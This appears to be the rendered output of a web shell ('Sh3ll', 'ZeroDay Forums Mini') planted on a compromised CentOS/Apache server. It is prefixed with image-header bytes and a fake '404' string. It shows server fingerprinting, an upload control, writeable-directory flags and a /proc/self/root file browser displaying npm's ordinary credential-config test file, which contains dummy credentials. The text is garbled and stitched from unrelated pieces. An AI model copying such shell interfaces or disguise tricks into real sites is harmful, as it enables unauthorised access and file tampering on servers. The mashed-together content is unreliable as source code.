����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/config-credentials.js
var test = require('tap').test

var npmconf = require('../../lib/config/core.js')
var common = require('../common-config.js')

var URI = 'https://registry.lvh.me:8661/'

test('getting scope with no credentials set', function (t) {
  npmconf.load({}, function (er, conf) {
    t.ifError(er, 'configuration loaded')

    var basic = conf.getCredentialsByURI(URI)
    t.equal(basic.scope, '//registry.lvh.me:8661/', 'nerfed URL extracted')

    t.end()
  })
})

test('trying to set credentials with no URI', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    t.ifError(er, 'configuration loaded')

    t.throws(function () {
      conf.setCredentialsByURI()
    }, 'enforced missing URI')

    t.end()
  })
})

test('trying to clear credentials with no URI', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    t.ifError(er, 'configuration loaded')

    t.throws(function () {
      conf.clearCredentialsByURI()
    }, 'enforced missing URI')

    t.end()
  })
})

test('set with missing credentials object', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    t.ifError(er, 'configuration loaded')

    t.throws(function () {
      conf.setCredentialsByURI(URI)
    }, 'enforced missing credentials')

    t.end()
  })
})

test('set with empty credentials object', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    t.ifError(er, 'configuration loaded')

    t.throws(function () {
      conf.setCredentialsByURI(URI, {})
    }, 'enforced missing credentials')

    t.end()
  })
})

test('set with token', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    t.ifError(er, 'configuration loaded')

    t.doesNotThrow(function () {
      conf.setCredentialsByURI(URI, { token: 'simple-token' })
    }, 'needs only token')

    var expected = {
      scope: '//registry.lvh.me:8661/',
      token: 'simple-token',
      username: undefined,
      password: undefined,
      email: undefined,
      auth: undefined,
      alwaysAuth: false
    }

    t.same(conf.getCredentialsByURI(URI), expected, 'got bearer token and scope')

    t.end()
  })
})

test('clear with token', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    t.ifError(er, 'configuration loaded')

    t.doesNotThrow(function () {
      conf.setCredentialsByURI(URI, { token: 'simple-token' })
    }, 'needs only token')

    t.doesNotThrow(function () {
      conf.clearCredentialsByURI(URI)
    }, 'needs only URI')

    t.notOk(conf.getCredentialsByURI(URI).token, 'token all gone')

    t.end()
  })
})

test('set with missing username', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    t.ifError(er, 'configuration loaded')

    var credentials = {
      password: 'password',
      email: '[email protected]'
    }

    t.throws(function () {
      conf.setCredentialsByURI(URI, credentials)
    }, 'enforced missing email')

    t.end()
  })
})

test('set with missing password', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    t.ifError(er, 'configuration loaded')

    var credentials = {
      username: 'username',
      email: '[email protected]'
    }

    t.throws(function () {
      conf.setCredentialsByURI(URI, credentials)
    }, 'enforced missing email')

    t.end()
  })
})

test('set with missing email', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    t.ifError(er, 'configuration loaded')

    var credentials = {
      username: 'username',
      password: 'password'
    }

    t.throws(function () {
      conf.setCredentialsByURI(URI, credentials)
    }, 'enforced missing email')

    t.end()
  })
})

test('set with old-style credentials', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    t.ifError(er, 'configuration loaded')

    var credentials = {
      username: 'username',
      password: 'password',
      email: '[email protected]'
    }

    t.doesNotThrow(function () {
      conf.setCredentialsByURI(URI, credentials)
    }, 'requires all of username, password, and email')

    var expected = {
      scope: '//registry.lvh.me:8661/',
      token: undefined,
      username: 'username',
      password: 'password',
      email: '[email protected]',
      auth: 'dXNlcm5hbWU6cGFzc3dvcmQ=',
      alwaysAuth: false
    }

    t.same(conf.getCredentialsByURI(URI), expected, 'got credentials')

    t.end()
  })
})

test('clear with old-style credentials', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    t.ifError(er, 'configuration loaded')

    var credentials = {
      username: 'username',
      password: 'password',
      email: '[email protected]'
    }

    t.doesNotThrow(function () {
      conf.setCredentialsByURI(URI, credentials)
    }, 'requires all of username, password, and email')

    t.doesNotThrow(function () {
      conf.clearCredentialsByURI(URI)
    }, 'clearing only required URI')

    t.notOk(conf.getCredentialsByURI(URI).username, 'username cleared')
    t.notOk(conf.getCredentialsByURI(URI).password, 'password cleared')

    t.end()
  })
})

test('get old-style credentials for default registry', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    var actual = conf.getCredentialsByURI(conf.get('registry'))
    var expected = {
      scope: '//registry.npmjs.org/',
      token: undefined,
      password: 'password',
      username: 'username',
      email: '[email protected]',
      auth: 'dXNlcm5hbWU6cGFzc3dvcmQ=',
      alwaysAuth: false
    }
    t.same(actual, expected)
    t.end()
  })
})

test('set with always-auth enabled', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    t.ifError(er, 'configuration loaded')

    var credentials = {
      username: 'username',
      password: 'password',
      email: '[email protected]',
      alwaysAuth: true
    }

    conf.setCredentialsByURI(URI, credentials)

    var expected = {
      scope: '//registry.lvh.me:8661/',
      token: undefined,
      username: 'username',
      password: 'password',
      email: '[email protected]',
      auth: 'dXNlcm5hbWU6cGFzc3dvcmQ=',
      alwaysAuth: true
    }

    t.same(conf.getCredentialsByURI(URI), expected, 'got credentials')

    t.end()
  })
})

test('set with always-auth disabled', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    t.ifError(er, 'configuration loaded')

    var credentials = {
      username: 'username',
      password: 'password',
      email: '[email protected]',
      alwaysAuth: false
    }

    conf.setCredentialsByURI(URI, credentials)

    var expected = {
      scope: '//registry.lvh.me:8661/',
      token: undefined,
      username: 'username',
      password: 'password',
      email: '[email protected]',
      auth: 'dXNlcm5hbWU6cGFzc3dvcmQ=',
      alwaysAuth: false
    }

    t.same(conf.getCredentialsByURI(URI), expected, 'got credentials')

    t.end()
  })
})

test('set with global always-auth enabled', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    t.ifError(er, 'configuration loaded')
    var original = conf.get('always-auth')
    conf.set('always-auth', true)

    var credentials = {
      username: 'username',
      password: 'password',
      email: '[email protected]'
    }

    conf.setCredentialsByURI(URI, credentials)

    var expected = {
      scope: '//registry.lvh.me:8661/',
      token: undefined,
      username: 'username',
      password: 'password',
      email: '[email protected]',
      auth: 'dXNlcm5hbWU6cGFzc3dvcmQ=',
      alwaysAuth: true
    }

    t.same(conf.getCredentialsByURI(URI), expected, 'got credentials')

    conf.set('always-auth', original)
    t.end()
  })
})

test('set with global always-auth disabled', function (t) {
  npmconf.load(common.builtin, function (er, conf) {
    t.ifError(er, 'configuration loaded')
    var original = conf.get('always-auth')
    conf.set('always-auth', false)

    var credentials = {
      username: 'username',
      password: 'password',
      email: '[email protected]'
    }

    conf.setCredentialsByURI(URI, credentials)

    var expected = {
      scope: '//registry.lvh.me:8661/',
      token: undefined,
      username: 'username',
      password: 'password',
      email: '[email protected]',
      auth: 'dXNlcm5hbWU6cGFzc3dvcmQ=',
      alwaysAuth: false
    }

    t.same(conf.getCredentialsByURI(URI), expected, 'got credentials')

    conf.set('always-auth', original)
    t.end()
  })
})

ZeroDay Forums Mini